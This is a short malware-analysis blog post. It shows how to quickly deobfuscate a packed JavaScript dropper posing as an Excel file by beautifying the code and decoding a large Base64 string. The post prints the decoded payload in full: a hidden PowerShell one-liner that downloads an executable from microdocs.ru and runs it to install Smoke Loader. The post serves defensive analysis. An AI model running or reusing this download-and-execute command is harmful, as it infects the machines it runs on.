Trick for quick reverse engineering of JavaScript malware
Most JavaScript malware authors try to obfuscate their code by adding a lot of unused code as well as randomized variable names and simple encoding and decoding fucntions. Lastly, they typically remove all spaces and newlines. For example, “Сопроводительные.xls.js” is a JavaScript malware sample uploaded to VirusTotal about 2 hours ago. In this malware sample the code was obfuscated using Dean Edwards JavaScript packer. The malware is pretending to be a Microsoft Excel file but it is actually a JavaScript file. Here is how the sample looks like.
We can try to understand what it does and probably spend hours of analysis or we can do something much simpler. Run the obfuscated code through some prettifier, for example something like jsbeautifier.org. Then, just scrolling through the prettified JavaScript code you can easily see some variable that contains a some large string. In this case, just by looking at it it looks like a Base64 encoded string.
If we just copy this Base64 encoded string and decode it, we will get the following malicious PowerShell script that downloads and executes a variant of Smoke Loader malware from microdocs.ru.
cmd /c start /b powershell -WindowStyle Hidden $http_request = New-Object -ComObject Msxml2.XMLHTTP; $adodb = New-Object -ComObject ADODB.Stream; $path = $env:temp + '\57737.exe'; $http_request.open('GET', 'http://microdocs.ru/axls/svita.exe?rnd=1328', $false); $http_request.send(); if($http_request.Status -eq "200") { $adodb.open(); $adodb.type = 1; $adodb.write($http_request.responseBody); $adodb.position = 0; $adodb.savetofile($path); $adodb.close(); } else { Write-Host $http_request.statusText; } Start-Process $path;
So, when reverse engineering a JavaScript malware, before trying to understand the whole obfuscated code, look for any large strings that are standing out. In this case the above analysis took me less than 5 minutes and as you can probably guess trying to de-obfuscate the entire obfuscated code would have taken at least a couple of hours. Hope that you found this trick useful. :)
Leave a Reply